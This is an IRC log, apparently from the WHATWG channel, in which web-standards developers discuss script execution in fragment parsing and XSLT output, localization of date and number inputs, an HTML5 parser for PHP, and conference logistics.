- # [09:30] <hsivonen> Hixie: fwiw, I believe the closest thing to an XSLTProcessor spec is https://developer.mozilla.org/en/Using_the_Mozilla_JavaScript_interface_to_XSL_Transformations
- # [09:31] <Hixie> well transformToDocument should definitely not run the scripts
- # [09:32] * Joins: Peter` (~peter@170-116.citynet.ftth.internl.net)
- # [09:32] * Joins: micheil (~micheil@124-149-173-56.dyn.iinet.net.au)
- # [09:32] <Hixie> but i guess if you want the "already executed" flag to not be set, so long as the execution only happens once the stuff is inserted into the real document and not the innerHTML document, i guess we could finagle that
- # [09:33] * Quits: micheil (~micheil@124-149-173-56.dyn.iinet.net.au) (Client Quit)
- # [09:33] <Hixie> it'd be a bit of a hack... the reason the spec right now sets "already executed" the way it does, in addition to being ok for compat for innerHTML, is that the Document it's parsing into has no global scope
- # [09:33] <Hixie> so it can't run script anyway
- # [09:34] <abarth> what's the benefit of running scripts?
- # [09:35] <Hixie> it's unclear to me that there is one
- # [09:35] <hsivonen> abarth: at least jQuery goes through trouble to make itself a fragment parser that does run scripts
- # [09:35] <Hixie> i'd much rather just not run them
- # [09:36] <abarth> interesting
- # [09:36] <hsivonen> JohnResig: do you have input for use cases for or against createContextualFragment creating executable scripts?
- # [09:36] * Joins: zcorpan (~zcorpan@c-ec9fe355.410-6-64736c14.cust.bredbandsbolaget.se)
- # [09:36] <abarth> i still think we should have some way of parsing a fragment that lets you whitelist tags and attributes
- # [09:37] <abarth> its not really related, but its very popular in server-side frameworks
- # [09:37] <hsivonen> though it's unclear if jQuery would benefit from the behavior that would result from createContextualFragment creating executable script nodes, because those scripts wouldn't execute in order when the fragment is inserted to the DOM
- # [09:37] * Rik`_ is now known as Rik`
- # [09:38] <abarth> :)
- # [09:39] <hsivonen> it would be so nice if people filing these bugs said more about their higher-level use cases
- # [09:41] <Hixie> agreed
- # [09:41] * Joins: peterhil (~peterhil@a91-153-127-82.elisa-laajakaista.fi)
- # [09:42] * Joins: Steve_B (~chatzilla@cpc2-smal2-0-0-cust263.perr.cable.virginmedia.com)
- # [09:48] * Joins: webben (~benjamin@173-203-84-17.static.cloud-ips.com)
- # [09:48] * Quits: webben (~benjamin@173-203-84-17.static.cloud-ips.com) (Excess Flood)
- # [09:49] * Joins: myakura (76160199@gateway/web/freenode/ip.118.22.1.153)
- # [09:51] * Quits: JohnnyAmerica (~Simon@213-64-113-37-no97.tbcn.telia.com) (Quit: leaving)
- # [09:54] * Joins: aroben (~aroben@unaffiliated/aroben)
- # [09:55] * abarth is now known as abarth|CGImageRe
- # [09:55] * abarth|CGImageRe is now known as abarth|CGImage
- # [09:55] <hsivonen> I asked the reporters to elaborate on their use cases in both bugzillas
- # [09:56] * Quits: espadrine (~espadrine@acces0670.res.insa-lyon.fr) (Ping timeout: 265 seconds)
- # [10:02] * Joins: workmad3 (~workmad3@cpc3-bagu10-0-0-cust651.1-3.cable.virginmedia.com)
- # [10:03] * Quits: JonathanNeal (~Jonathan_@99-59-125-34.lightspeed.irvnca.sbcglobal.net) (Ping timeout: 272 seconds)
- # [10:04] * Joins: roc (~roc@121.98.230.221)
- # [10:04] <zcorpan> whatwg.org is really really slow for me. just me?
- # [10:06] * Joins: foolip (~philip@83.218.67.122)
- # [10:15] * Joins: akamike (~akamike@94-193-106-14.zone7.bethere.co.uk)
- # [10:23] * Quits: Heimidal (~heimidal@unaffiliated/heimidal) (Remote host closed the connection)
- # [10:27] * Joins: ROBOd (~robod@109.96.227.20)
- # [10:39] <antti_s> are there any plans for localization eg. on input type="number"s or type="date"s?
- # [10:47] * Quits: myakura (76160199@gateway/web/freenode/ip.118.22.1.153) (Quit: Page closed)
- # [10:48] * Joins: virtuelv (~virtuelv_@pat-tdc.opera.com)
- # [10:54] * Joins: ZombieLoffe (~e@unaffiliated/zombieloffe)
- # [10:56] <zcorpan> hmm i realized that importScripts is sync
- # [10:59] <jgraham> Oh
- # [10:59] * volkmar_ is now known as volkmar
- # [10:59] <jgraham> I was just going to say I liked that idea
- # [10:59] <jgraham> No I don't anymore
- # [10:59] <jgraham> *Now
- # [10:59] * Quits: volkmar (~volkmar@rps1542.ovh.net) (Changing host)
- # [10:59] * Joins: volkmar (~volkmar@gentoo/developer/volkmar)
- # [10:59] * Joins: mat_t (~mattomasz@91.189.88.12)
- # [11:18] * Quits: aroben (~aroben@unaffiliated/aroben) (Read error: Connection reset by peer)
- # [11:20] <MikeSmith> zcorpan: whatwg.org seems to be responding normally to me
- # [11:20] <MikeSmith> at least the spec, wiki, and mailing-list archives
- # [11:23] <hsivonen> MikeSmith: whatwg.org is not working properly for me
- # [11:23] <hsivonen> "The server at www.whatwg.org is taking too long to respond."
- # [11:25] * MikeSmith trries some other browsers
- # [11:26] <MikeSmith> hsivonen: seems to be working the same for me in every browser I've tried so far
- # [11:27] <MikeSmith> which is to say, responding normally
- # [11:27] <MikeSmith> including in WebKit with the "Disable Caches" option set
- # [11:28] <MikeSmith> (which seems to be the bestest was to test if stuff is actually being served from the source and not from a cache)
- # [11:29] <MikeSmith> is an Opera 11 snapshot available yet?
- # [11:30] <zcorpan> no
- # [11:30] <MikeSmith> ok
- # [11:31] <jgraham> MikeSmith: http://my.opera.com/desktopteam/blog/ is the best place to look, in general
- # [11:31] <MikeSmith> ok
- # [11:31] * Quits: Maurice (~ano@a80-101-46-164.adsl.xs4all.nl) (Quit: Disconnected...)
- # [11:32] <MikeSmith> btw, if there is somebody in particular to whom I should address Dragonfly bugs, please let me know
- # [11:32] <MikeSmith> *Dragonfly bug reports
- # [11:35] <MikeSmith> Hallvord?
- # [11:35] <MikeSmith> oh wait
- # [11:35] <MikeSmith> "If you are on BitBucket please follow Opera Dragonfly, and feel free to report new issues there."
- # [11:35] <MikeSmith> http://my.opera.com/hallvors/blog/2010/10/20/dragonfly-feedback-follow-up
- # [11:36] <MikeSmith> so I will feel free and do that
- # [11:36] <jgraham> virtuelv: ^
- # [11:37] <MikeSmith> ah
- # [11:38] <MikeSmith> damn, there's like 7 different dragonfly branches at bitbucker
- # [11:38] <MikeSmith> bitbucket
- # [11:38] * Joins: smaug____ (~chatzilla@cs181063178.pp.htv.fi)
- # [11:38] <MikeSmith> jgraham: thanks
- # [11:42] <MikeSmith> ah, Christian Krebs
- # [11:42] * Quits: Dashiva (Dashiva@wikia/Dashiva) (Ping timeout: 276 seconds)
- # [11:42] <MikeSmith> I guess
- # [11:42] * Joins: adactio (~adactio@host213-123-197-180.in-addr.btopenworld.com)
- # [11:45] * Joins: Dashiva (Dashiva@84-72-44-31.dclient.hispeed.ch)
- # [11:45] * Quits: Dashiva (Dashiva@84-72-44-31.dclient.hispeed.ch) (Changing host)
- # [11:45] * Joins: Dashiva (Dashiva@wikia/Dashiva)
- # [11:46] * Quits: agektmr (~Adium@2401:fa00:4:1012:fa1e:dfff:fee6:d74e) (Quit: Leaving.)
- # [11:47] * Joins: Maurice (~ano@a80-101-46-164.adsl.xs4all.nl)
- # [12:02] * Quits: ZombieLoffe (~e@unaffiliated/zombieloffe)
- # [12:05] * Joins: mpt (~mpt@canonical/mpt)
- # [12:19] * Quits: payman (~payman@pat.se.opera.com) (Remote host closed the connection)
- # [12:23] * Quits: kennyluck (~kennyluck@2001:200:1c0:3602:225:ff:fe4d:f8c7) (Quit: kennyluck)
- # [12:24] * Quits: MikeSmith (~MikeSmith@EM114-48-116-163.pool.e-mobile.ne.jp) (Quit: Deyr fé deyja, frændr deyr, sjálfr et sama)
- # [12:30] * Joins: romeo_ (~romeo__@x1-6-00-10-a7-28-f3-47.k562.webspeed.dk)
- # [12:34] * Quits: mpt (~mpt@canonical/mpt) (Quit: Ex-Chat)
- # [12:34] <hsivonen> hmm. I wonder if I'm testing IE9 wrong when I try to remove documentElement from a document
- # [12:41] <hsivonen> nope, that wasn't the problem
- # [12:45] <hsivonen> I see no logic in script execution in WebKit
- # [12:45] <hsivonen> most things make scripts not run, but this doesn't: http://hsivonen.iki.fi/test/moz/scripts/createDocument.html
- # [12:49] * Quits: Anti-X (~duckmysic@93.179.9.80) (Ping timeout: 252 seconds)
- # [12:51] * Quits: 92AABEHRF (~homata@58x158x182x50.ap58.ftth.ucom.ne.jp) (Quit: Leaving...)
- # [12:54] * Joins: Anti-X (~duckmysic@ip-228-55-149-91.dialup.ice.no)
- # [13:00] * Joins: davidhund (~davidhund@78-27-27-74.dsl.alice.nl)
- # [13:00] * Joins: rmccue (~rmccue@unaffiliated/rmccue)
- # [13:01] <rmccue> Anyone know about the html5lib for PHP?
- # [13:03] <crash\> as far as I can't tell there isn't
- # [13:03] <crash\> no HTML5 parser for PHP
- # [13:03] * Joins: MikeSmith (~MikeSmith@EM114-48-116-163.pool.e-mobile.ne.jp)
- # [13:03] <jgraham> Yes, it exists
- # [13:03] <jgraham> No I don't know much about it
- # [13:03] <gsnedders> rmccue: Yes.
- # [13:04] <rmccue> crash\: Part of http://code.google.com/p/html5lib/
- # [13:04] <rmccue> gsnedders: Why, hello you.
- # [13:04] <gsnedders> rmccue: ;P
- # [13:04] <crash\> ah
- # [13:04] <crash\> I though this is only Python
- # [13:04] <gsnedders> rmccue: Where do you think I hang out, if not channels like this? :)
- # [13:04] <rmccue> gsnedders: I had no idea you were awake.
- # [13:05] <gsnedders> rmccue: It's midday.
- # [13:05] <crash\> 0.1 pretty outdated
- # [13:05] <gsnedders> But yes, ask your question.
- # [13:06] <rmccue> It's returning blank DOMDocument/DOMNodeList objects for me.
- # [13:06] <gsnedders> Oh, nice.
- # [13:07] <gsnedders> Disclaimer: I've not touched html5lib/php in over a year
- # [13:07] <rmccue> Wait, maybe not.
- # [13:07] <rmccue> You mention the latter on a regular interval.
- # [13:08] <gsnedders> In a, "hey, rmccue, you should take it over" way :P
- # [13:08] <rmccue> OK, nevermind, it is working. PHP just sucks.
- # [13:08] <rmccue> Sure, but I hardly have time for anything else, let alone a HTML5 parser. :P
- # [13:08] <gsnedders> rmccue: Bogus bug report.
- # [13:09] <rmccue> Status: Invalid. Reason: PEBKAC
- # [13:16] * Joins: webben (~benjamin@173-203-84-17.static.cloud-ips.com)
- # [13:16] * Quits: webben (~benjamin@173-203-84-17.static.cloud-ips.com) (Excess Flood)
- # [13:34] * Joins: MikeSmith_ (~MikeSmith@EM111-188-27-19.pool.e-mobile.ne.jp)
- # [13:38] * Quits: MikeSmith (~MikeSmith@EM114-48-116-163.pool.e-mobile.ne.jp) (Ping timeout: 272 seconds)
- # [13:38] * MikeSmith_ is now known as MikeSmith
- # [13:38] * Joins: webben (~benjamin@173-203-84-17.static.cloud-ips.com)
- # [13:41] * Joins: kennyluck (~kennyluck@EM114-49-141-253.pool.e-mobile.ne.jp)
- # [13:41] * Quits: kennyluck (~kennyluck@EM114-49-141-253.pool.e-mobile.ne.jp) (Excess Flood)
- # [13:46] * Quits: MikeSmith (~MikeSmith@EM111-188-27-19.pool.e-mobile.ne.jp) (Quit: Deyr fé deyja, frændr deyr, sjálfr et sama)
- # [13:48] * Quits: Ankheg (~Miranda@fs91-201-3-30.dubna-net.ru) (Read error: Connection reset by peer)
- # [13:48] * Joins: payman (~payman@pat.se.opera.com)
- # [13:52] * Joins: Ankheg (~Miranda@fs91-201-3-30.dubna-net.ru)
- # [13:53] * Quits: wakaba_ (~wakaba_@122x221x184x68.ap122.ftth.ucom.ne.jp) (Quit: Leaving...)
- # [14:05] * Quits: Rik` (~Rik`@pha75-2-81-57-187-57.fbx.proxad.net) (Remote host closed the connection)
- # [14:05] * Quits: nessy (~Adium@124-168-60-18.dyn.iinet.net.au) (Quit: Leaving.)
- # [14:07] * Joins: MikeSmith (~MikeSmith@EM111-188-27-19.pool.e-mobile.ne.jp)
- # [14:09] * Joins: david_carlisle (~davidc@62.231.145.254)
- # [14:11] <david_carlisle> Hixie: does anyone actually use xslt to generate scripts?
- # [14:12] <david_carlisle> hixie: you mean generate an (x)html script element in the result document from xslt? if so yes, if you mean something else then I don't know:-)
- # [14:12] * Parts: rmccue (~rmccue@unaffiliated/rmccue) ("The general rule on about people on IRC seems to be "Attractive, single, mentally stable: choose two"")
- # [14:16] * Quits: Amorphous (jan@unaffiliated/amorphous) (Ping timeout: 252 seconds)
- # [14:20] <hsivonen> david_carlisle: it's known that people use <?xml-stylesheet?>-invoked XSLT to create (X)HTML script elements
- # [14:20] <hsivonen> david_carlisle: however, the interesting bit is if people use XSLTProcessor to create script nodes
- # [14:20] * Quits: timeless_mbp (~timeless@a88-115-8-36.elisa-laajakaista.fi) (Remote host closed the connection)
- # [14:21] <hsivonen> david_carlisle: like this: http://hsivonen.iki.fi/test/moz/scripts/XSLTProcessor-transformToFragment.html
- # [14:22] * Joins: timeless_mbp (~timeless@a88-115-8-36.elisa-laajakaista.fi)
- # [14:26] <david_carlisle> hsivonen: people who use xslt clearly have taste and don't go in for all this imperative DOM scripting p.appendChild nonsense. (This isn't being archived is it:-)
- # [14:27] * Joins: meandi (~meandi@dyndsl-178-142-062-007.ewe-ip-backbone.de)
- # [14:28] <david_carlisle> I have no idea, I doubt there are many instances of that, would it have been possible to get something like that working in previous versions of ie and firefox 9say)
- # [14:28] <david_carlisle> cross browser conserns tend to limit people being too adventurous in teh way they mix script and xslt in my experience
- # [14:29] <MikeSmith> I think the xslt+scripting has gotten better support across browsers in the last few years
- # [14:29] <hsivonen> david_carlisle: I haven't tested, but I assume that in IE it's not possible to move nodes from ActiveX-owned DOMs to the browser DOMs
- # [14:29] <MikeSmith> and browsers have node-set() and document() sanely supportd
- # [14:30] <hsivonen> david_carlisle: so if one used the IE XSLT API instead of XSLTProcessor(), adopting the node would fail
- # [14:32] * Joins: Amorphous (jan@unaffiliated/amorphous)
- # [14:37] * Joins: Rik` (~Rik`@mozilla-paris-222-194.cnt.nerim.net)
- # [14:37] <MikeSmith> does anybody know if there has actually be any serious new movement in TC39 towards getting a binary data type added?
- # [14:37] <MikeSmith> is it on the agenda for the f2f next month?
- # [14:38] <david_carlisle> I could ask on xsl-list but that's probably not really the right audience, I think such usage is more likely buried in the libraries like sarissa that tried to hide a lot of the complexity.
- # [14:39] * Quits: nattokirai (~nattokira@rtr.mozilla.or.jp) (Quit: nattokirai)
- # [14:43] * Quits: Anti-X (~duckmysic@ip-228-55-149-91.dialup.ice.no) (Ping timeout: 265 seconds)
- # [14:44] * Quits: matjas (~matjas@91.182.217.84) (Remote host closed the connection)
- # [14:45] * Joins: matjas (~matjas@91.182.217.84)
- # [14:49] * Joins: plainhao (~plainhao@mail.xbiotica.com)
- # [14:50] <MikeSmith> hsivonen: thanks for http://hg.mozilla.org/projects/htmlparser/rev/b0fe4ac38a02
- # [14:51] <hsivonen> MikeSmith: you're welcome. sorry that I'm so slow
- # [14:51] <MikeSmith> no problem
- # [14:52] <MikeSmith> I am months behind on the vnu stuff I've meant to check in myself
- # [14:52] <MikeSmith> e.g., the changes to jing
- # [14:52] * timeless_mbp needs to get a hotel room
- # [14:52] <MikeSmith> for reporting required-but-missing attributes
- # [14:52] <hsivonen> timeless_mbp: for TPAC?
- # [14:53] <timeless_mbp> yeah
- # [14:53] <timeless_mbp> you going?
- # [14:53] <hsivonen> timeless_mbp: there's http://www.hoteldescongres.com/ and then there are the W3C-recommended hotels
- # [14:53] <hsivonen> timeless_mbp: other hotels nearby are either expensive or have gotten terrible reviews, AFAICT
- # [14:53] <MikeSmith> hsivonen: minor typo in your javadoc comment for the InfosetCoercingHtmlParser class
- # [14:54] <MikeSmith> "This is convenient then another JavaThis is convenient then another Java"
- # [14:54] <timeless_mbp> oh, yeah, it's just a matter of finding my hilton number and asking an assistant to get me a room
- # [14:54] <MikeSmith> should be "when another Java"
- # [14:54] <hsivonen> timeless_mbp: yes, I'm going
- # [14:54] <MikeSmith> anybody know if Jonas is going?
- # [14:54] <timeless_mbp> can't you cheat?
- # [14:54] <timeless_mbp> there's a survey form
- # [14:55] * MikeSmith forgot to ask Jonas when he chatted earlier
- # [14:55] <MikeSmith> yeah, I guess I could check
- # [14:55] <MikeSmith> not everybody registers by the deadline
- # [14:55] <hsivonen> MikeSmith: fixed. Thanks
- # [14:55] <MikeSmith> I think I have not registered yet myself
- # [14:55] <timeless_mbp> well maybe he isn't trying to waste money?
- # [14:55] <MikeSmith> hsivonen: nop
- # [14:55] <MikeSmith> np
- # [14:57] <timeless_mbp> MikeSmith: tsk
- # [14:59] <timeless_mbp> is there a negotiated rate for the hilton?
- # [15:00] <timeless_mbp> oh, no, only for the other one
- # [15:01] * Quits: aho (~nya@fuld-4d00d748.pool.mediaWays.net) (Quit: EXEC_over.METHOD_SUBLIMATION)
- # [15:01] * Joins: Anti-X (~duckmysic@cAE70BF51.dhcp.bluecom.no)
- # [15:04] * timeless_mbp goes back to getting confused
- # [15:10] * Joins: reni__home (~reni@sedkit.inf.u-szeged.hu)
- # [15:10] * Quits: reni__home (~reni@sedkit.inf.u-szeged.hu) (Client Quit)
- # [15:12] * Joins: annevk (~annevk@212.17.135.34)
- # [15:12] * Quits: othermaciej (~mjs@c-69-181-196-33.hsd1.ca.comcast.net) (Quit: othermaciej)
- # [15:12] <annevk> MikeSmith, when are we publishing?
- # [15:12] * Joins: othermaciej (~mjs@c-69-181-196-33.hsd1.ca.comcast.net)
- # [15:13] <annevk> MikeSmith, Ms2ger found a bug in html5-diff that I can fix
- # [15:13] * Joins: miketaylr (~miketaylr@24.42.95.108)
- # [15:13] <annevk> MikeSmith, but I guess I need a date
- # [15:17] * Quits: mhausenblas (~mhausenbl@wg1-nat.fwgal01.deri.ie) (Quit: mhausenblas)
- # [15:18] * Joins: davidb__ (~davidb@mozca02.ca.mozilla.com)
- # [15:22] * Joins: reni__home (~reni@sedkit.inf.u-szeged.hu)
- # [15:22] * Quits: othermaciej (~mjs@c-69-181-196-33.hsd1.ca.comcast.net) (Quit: othermaciej)
- # [15:23] <MikeSmith> we are publishing as soon as our webmaster is able to get stuff in place
- # [15:23] <MikeSmith> and comm team can do the announcement thing
- # [15:23] <MikeSmith> annevk: ↑
- # [15:23] <MikeSmith> what's the bug?
- # [15:23] <MikeSmith> I can fix it in place
- # [15:23] <MikeSmith> if you give me a diff
- # [15:24] * Quits: reni__home (~reni@sedkit.inf.u-szeged.hu) (Client Quit)
- # [15:24] * Joins: BlurstOfTimes (~blurstoft@168.203.117.107)
- # [15:24] <MikeSmith> or if you check in a fix i will make a diff and apply it to the WD
- # [15:27] <annevk> MikeSmith, if you can remove the line <li><code>s</code>
- # [15:28] <annevk> MikeSmith, <s> was mentioned both in changed and absent elements, it should be removed from absent
- # [15:28] <antti_s> hey, are there any thoughts about bringing in localization for eg. type="numbers" and type="date"s?
- # [15:29] <annevk> that's a UA feature
- # [15:29] <annevk> the format defined in the specification is for submission and the server only
- # [15:31] <hsivonen> FWIW, UA-side localization has the same problem as trying to localize the display format of <time>
- # [15:31] <annevk> MikeSmith, gotta go now, but it's the line "<li><code>s</code>" afaik
- # [15:31] <MikeSmith> annevk: yeah, got it
- # [15:31] <hsivonen> if you go to a U.S. English site and see a number field that says "2,000" what does it mean?
- # [15:31] <MikeSmith> have already checked in the change to the WD
- # [15:31] <annevk> MikeSmith, great thanks
- # [15:31] <hsivonen> does it mean two thousand in the site's locale?
- # [15:31] <annevk> MikeSmith, ttyl
- # [15:31] <MikeSmith> cheers
- # [15:32] <hsivonen> or 2 in the UA's locale?
- # [15:32] <annevk> hsivonen, I think we should base UA localization on the document language
- # [15:32] <annevk> hsivonen, rather than the user language
- # [15:32] <hsivonen> annevk: so UAs would need a database of number formats associated with all existing language tags?
- # [15:33] <annevk> yeah
- # [15:33] * Quits: annevk (~annevk@212.17.135.34) (Quit: annevk)
- # [15:34] <hsivonen> OTOH, for a date picker it would be OK to display the month name in the user's language as a word, since there'd be no ambiguity
- # [15:34] <antti_s> ehh... there still might be a need to input a date in an arbitrary format that is not the same as the document's language
- # [15:35] <hsivonen> antti_s: the expected UI for input type=date is a date picker
- # [15:35] <hsivonen> with date pickers there's the issue of starting weeks on Sunday vs. Monday
- # [15:36] <antti_s> hsivonen: so the date format used after selecting the date is a browser vendor's problem
- # [15:36] <antti_s> used/displayed
- # [15:36] <hsivonen> input type=week uses ISO weeks, but input type=date for en-US could conceivable use Sunday-based week layout
- # [15:37] <hsivonen> antti_s: the date format communicated between the browser and the site is always YYYY-MM-DD
- # [15:37] <hsivonen> antti_s: browsers are allowed to compete on how they render it to the users
- # [15:38] <antti_s> hsivonen: ok, 10-4 :)
- # [15:38] <antti_s> hsivonen: should the similar approach be used also on type=numbers
- # [15:39] <hsivonen> antti_s: see Opera for how type=date is supposed to work (except it should be prettier than in Opera)
- # [15:39] <antti_s> hsivonen: currently it bugs me that using commas as decimal separators does not work, apparently because of the sanitization algorithm
- # [15:39] <hsivonen> antti_s: the UA is allowed to expose a decimal comma to the user as long as a decimal point is used between the browser and the server
- # [15:40] * hsivonen wishes all countries just standardized on a decimal point so we could get rid of this gratuitous incompatibility
- # [15:40] <antti_s> hsivonen: ok, thanks a much, this was really valuable information (that i didn't seem to find myself from the specs) :)
- # [15:41] * Joins: eric_carlson (~ericc@2620:0:1b00:1191:223:32ff:feb1:5d30)
- # [15:44] * Quits: Ankheg (~Miranda@fs91-201-3-30.dubna-net.ru) (Read error: Connection reset by peer)
- # [15:46] * Joins: kennyluck (~kennyluck@EM114-49-141-253.pool.e-mobile.ne.jp)
- # [15:46] * Quits: kennyluck (~kennyluck@EM114-49-141-253.pool.e-mobile.ne.jp) (Excess Flood)
- # [15:51] * Quits: henrikbjorn (~henrik@80.199.116.190.static.peytz.dk) (Remote host closed the connection)
- # [15:56] <antti_s> hsivonen: can you give any pointers to where i should look up information related to this UA/datepicker/decimal-separator stuff?
- # [16:02] * Joins: jdaggett (~jdaggett@ac242062.dynamic.ppp.asahi-net.or.jp)
- # [16:03] * Joins: davidwalsh (~davidwals@75-134-27-91.dhcp.mdsn.wi.charter.com)
- # [16:08] * Quits: rimantas (~rimliu@lan-84-240-20-219.vln.skynet.lt) (Quit: Leaving)
- # [16:11] <hsivonen> antti_s: the rendering constrains are pretty much what's said in http://www.whatwg.org/specs/web-apps/current-work/#the-input-element-as-domain-specific-widgets
- # [16:13] <hsivonen> antti_s: also see the rightmost column in http://www.whatwg.org/specs/web-apps/current-work/#attr-input-type-keywords
- # [16:13] <hsivonen> antti_s: the spec isn't particularly clear on what's allowed here, because readers are supposed to know that the spec doesn't try to prescribe browser UI
- # [16:13] <hsivonen> Hixie: the spec could be clearer here
- # [16:14] * Quits: davidwalsh (~davidwals@75-134-27-91.dhcp.mdsn.wi.charter.com) (Remote host closed the connection)
- # [16:15] <antti_s> hsivonen: thank you, very much appreciated. i'll look in to those.
- # [16:17] * Quits: zcorpan (~zcorpan@c-ec9fe355.410-6-64736c14.cust.bredbandsbolaget.se) (Quit: zcorpan)
- # [16:19] <hsivonen> antti_s: filed a bug as http://www.w3.org/Bugs/Public/show_bug.cgi?id=11107
- # [16:22] * Quits: workmad3 (~workmad3@cpc3-bagu10-0-0-cust651.1-3.cable.virginmedia.com) (Remote host closed the connection)
- # [16:42] * Joins: nimbupani (~nimbupani@c-24-22-131-46.hsd1.wa.comcast.net)
- # [16:42] * Quits: karlcow (~karl@nerval.la-grange.net) (Remote host closed the connection)
- # [16:45] * Joins: mpt (~mpt@canonical/mpt)
- # [16:45] * Joins: jacobolus (~jacobolus@c-24-128-189-152.hsd1.ma.comcast.net)
- # [16:56] * Joins: ZombieLoffe (~e@c-c4d271d5.014-169-73746f28.cust.bredbandsbolaget.se)
- # [16:56] * Quits: ZombieLoffe (~e@c-c4d271d5.014-169-73746f28.cust.bredbandsbolaget.se) (Changing host)
- # [16:56] * Joins: ZombieLoffe (~e@unaffiliated/zombieloffe)
- # [17:04] * Quits: Maurice (~ano@a80-101-46-164.adsl.xs4all.nl) (Quit: Disconnected...)
- # [17:16] * Quits: davidhund (~davidhund@78-27-27-74.dsl.alice.nl) (Quit: davidhund)
- # [17:19] * Quits: mike][inq (~mike@2001:858:5:303:224:81ff:fe12:b5c4) (Remote host closed the connection)
- # [17:21] * Joins: kennyluck (~kennyluck@2001:200:1c0:3602:225:ff:fe4d:f8c7)
- # [17:22] * Quits: kennyluck (~kennyluck@2001:200:1c0:3602:225:ff:fe4d:f8c7) (Excess Flood)
- # [17:23] * Joins: Martijnc (~Martijnc@91.176.222.37)
- # [17:23] * Joins: mike][inq (~mike@2001:858:5:303:224:81ff:fe12:b5c4)
- # [17:26] * Joins: kennyluck (~kennyluck@2001:200:1c0:3602:225:ff:fe4d:f8c7)
- # [17:26] * Quits: Anti-X (~duckmysic@cAE70BF51.dhcp.bluecom.no) (Ping timeout: 240 seconds)
- # [17:31] * Joins: Anti-X (~duckmysic@c587CBF51.dhcp.bluecom.no)
- # [17:35] * Joins: hamcore (rhythm@unaffiliated/hamcore)
- # [17:38] * Quits: nimbupani (~nimbupani@c-24-22-131-46.hsd1.wa.comcast.net) (Quit: nimbupani)
- # [17:39] * Quits: Anti-X (~duckmysic@c587CBF51.dhcp.bluecom.no) (Ping timeout: 276 seconds)
- # [17:43] * Quits: ry (~ry@skynet.diablo.si) (Quit: x)
- # [17:43] * Joins: Anti-X (~duckmysic@cAE70BF51.dhcp.bluecom.no)
- # [17:43] * Joins: aroben (~aroben@2620:0:1b00:1191:d001:6222:f5c1:7672)
- # [17:43] * Quits: aroben (~aroben@2620:0:1b00:1191:d001:6222:f5c1:7672) (Changing host)
- # [17:43] * Joins: aroben (~aroben@unaffiliated/aroben)
- # [17:44] * Joins: davidwalsh (~davidwals@75-134-27-91.dhcp.mdsn.wi.charter.com)
- # [17:44] * Joins: workmad3 (~workmad3@cpc3-bagu10-0-0-cust651.1-3.cable.virginmedia.com)
- # [17:47] * Joins: dglazkov (~dglazkov@nat/google/x-evsdheqwzrkdcmfn)
- # [17:52] * Quits: Steve_B (~chatzilla@cpc2-smal2-0-0-cust263.perr.cable.virginmedia.com) (Quit: ChatZilla 0.9.86 [Firefox 3.6.10/20100914120618])
- # [17:55] * Joins: cardona507 (~cardona50@c-67-180-160-250.hsd1.ca.comcast.net)
- # [17:56] * Quits: smorg (~quassel@174-30-207-66.mpls.qwest.net) (Read error: Connection reset by peer)
- # [17:57] * Quits: dglazkov (~dglazkov@nat/google/x-evsdheqwzrkdcmfn) (Remote host closed the connection)
- # [17:57] * Joins: dglazkov (~dglazkov@nat/google/x-mvmfoekrpsdnhuoe)
- # [18:05] * Joins: Maurice (copyman@5ED573FA.cm-7-6b.dynamic.ziggo.nl)
- # [18:07] * Quits: workmad3 (~workmad3@cpc3-bagu10-0-0-cust651.1-3.cable.virginmedia.com) (Remote host closed the connection)
- # [18:12] * Quits: dglazkov (~dglazkov@nat/google/x-mvmfoekrpsdnhuoe) (Remote host closed the connection)
- # [18:12] * Joins: dglazkov (~dglazkov@nat/google/x-ugtrafrazbxkjprk)
- # [18:23] * Joins: f1lt3r (~f1lt3r@64.119.153.2)
- # [18:24] * Quits: mat_t (~mattomasz@91.189.88.12) (Quit: This computer has gone to sleep)
- # [18:24] * Joins: karlcow (~karl@nerval.la-grange.net)
- # [18:25] * abarth|CGImage is now known as abarth
- # [18:25] * Quits: f1lt3r (~f1lt3r@64.119.153.2) (Client Quit)
- # [18:26] <karlcow> I wonder if bugzilla recycled the id of deleted issues which were initially created as spam. (not very important though, just curious)
- # [18:26] * Quits: akamike (~akamike@94-193-106-14.zone7.bethere.co.uk) (Quit: akamike)
- # [18:28] * Philip` is getting tired of the bug spam being posted to public-html
- # [18:28] <Philip`> Oh, Julian already said that
- # [18:28] * jgraham filters the bugs into a different folder
- # [18:29] <jgraham> I actually think this setup is much better than it was before
- # [18:30] <jgraham> Although of course it would be even better with no spam
- # [18:30] * Joins: jmartelatpapirux (debian-tor@gateway/tor-sasl/jmartelatpapirux)
- # [18:30] * Quits: david_carlisle (~davidc@62.231.145.254) (Quit: david_carlisle)
- # [18:31] * karlcow doesn't move his mails in folders
- # [18:32] * Joins: henrikbjorn (~henrik@c83-249-65-238.bredband.comhem.se)
- # [18:32] <karlcow> hmm not exactly true
- # [18:33] <karlcow> procmail is moving all my mails into monthly dated space folders. /2010/09/, /2010/10/, etc.
- # [18:34] <jgraham> Eep
- # [18:34] <jgraham> How do you live with that?
- # [18:34] <karlcow> then I create dynamic/smart folders
- # [18:34] <jmartelatpapirux> karlcow, how do you do so?
- # [18:34] <karlcow> because my contexts evolve little by little
- # [18:34] <karlcow> so I destroy/create dynamic folders
- # [18:34] <jgraham> karlcow: Presumably those are limited to a single client though?
- # [18:35] * jgraham mostly filters by mailing list into honest-to-goodness imap folders
- # [18:35] <karlcow> Apple Mail with an imap server :)
- # [18:36] <jmartelatpapirux> Oh, my!
- # [18:37] <karlcow> I have done this organization for… 3 years now (I think), I have never been happier. A lot, lot better. One mail can be in many different contexts
- # [18:39] <jgraham> Maybe you are just ahppier by coincidence and if you used the old mail classification scheme you would be even happier still :)
- # [18:40] <jmartelatpapirux> Coincidences do simply not exist.
- # [18:40] * Joins: tonyg-cr (~Adium@c-67-169-68-88.hsd1.ca.comcast.net)
- # [18:41] <karlcow> I have mostly all my mails since around 1991 (except those I have erase by choice or by mistake), and dated space is a metaphor which suits me.
- # [18:42] * Joins: JonathanNeal (~Jonathan_@rrcs-76-79-114-214.west.biz.rr.com)
- # [18:43] <karlcow> it has another benefits, it limits the number of files on the filesystems by folder. The 500,000+ emails are nicely distributed
- # [18:45] * Parts: JonathanNeal (~Jonathan_@rrcs-76-79-114-214.west.biz.rr.com)
- # [18:45] * Quits: peterhil (~peterhil@a91-153-127-82.elisa-laajakaista.fi) (Remote host closed the connection)
- # [18:50] * Joins: svl (~me@ip565744a7.direct-adsl.nl)
- # [18:51] * Joins: JoePeck (~JoePeck@2620:0:1b00:1171:d69a:20ff:febd:c914)
